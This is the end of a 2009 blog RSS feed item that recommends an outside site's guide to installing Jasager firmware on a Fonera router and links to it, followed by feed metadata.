<p>HIR is a new website that i found with some good documentation on the Jasager installation if you are wanting to go a different route to flash.</p>
<p><a href="http://www.h-i-r.net/2009/07/evil-wifi-part-1-jasagerfonera-setup.html" rel="nofollow">http://www.h-i-r.net/2009/07/evil-wifi-part-1-jasagerfonera-setup.html</a></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/dltv.wordpress.com/266/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/dltv.wordpress.com/266/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=dltv.wordpress.com&#038;blog=782546&#038;post=266&#038;subd=dltv&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://dltv.wordpress.com/2009/12/02/meet-der-jasager-the-yes-man-video/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/326d402abb356f599f0529ca5b71e6eb?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">dltv</media:title>
		</media:content>
	</item>
	</channel>
</rss>
